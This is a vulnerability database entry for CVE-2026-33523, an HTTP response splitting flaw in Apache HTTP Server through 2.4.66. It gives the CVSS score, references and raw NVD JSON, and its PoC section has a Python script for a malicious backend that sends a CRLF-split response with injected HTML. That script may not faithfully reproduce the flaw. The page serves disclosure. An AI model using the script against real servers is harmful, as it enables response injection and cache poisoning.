CVE-2026-33523

Description

HTTP response splitting vulnerability in multiple Apache HTTP Server modules with untrusted or compromised backend servers. This issue affects Apache HTTP Server: from through 2.4.66. Users are recommended to upgrade to version 2.4.67, which fixes the issue.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:* - VULNERABLE

Apache HTTP Server <= 2.4.66

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for HTTP Response Splitting in Apache HTTP Server
# This script simulates a malicious backend server sending a response with CRLF injection.

import socket

def malicious_backend():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(('0.0.0.0', 8080))
    server_socket.listen(1)
    print("Malicious backend listening on port 8080...")
    
    while True:
        client_socket, addr = server_socket.accept()
        print(f"Connection from {addr}")
        # Read request from Apache (acting as proxy)
        request = client_socket.recv(1024)
        print(request)
        
        # Send malicious response with CRLF injection
        # Injecting a second response body or header
        payload = "HTTP/1.1 200 OK\r\n"
        payload += "Content-Type: text/html\r\n"
        payload += "Content-Length: 0\r\n"
        # The Vulnerability: Injecting CRLF to split the response
        payload += "Location: /\r\n\r\n" 
        payload += "HTTP/1.1 200 OK\r\n"
        payload += "Content-Type: text/html\r\n\r\n"
        payload += "<html><body>Injected Content!</body></html>"
        
        client_socket.sendall(payload.encode())
        client_socket.close()

if __name__ == "__main__":
    malicious_backend()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33523/
[4] VulDB https://vuldb.com/cve/CVE-2026-33523
[5] https://httpd.apache.org/security/vulnerabilities_24.html
[6] http://www.openwall.com/lists/oss-security/2026/05/04/23

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33523", "sourceIdentifier": "[email protected]", "published": "2026-05-04T15:16:04.227", "lastModified": "2026-05-04T20:21:15.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTTP response splitting vulnerability in multiple Apache HTTP Server modules with untrusted or compromised backend servers.\n\nThis issue affects Apache HTTP Server: from through 2.4.66.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-443"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.4.0", "versionEndExcluding": "2.4.67", "matchCriteriaId": "3BEA6923-FB92-4DCC-92A2-D5916CDC58FF"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/23", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}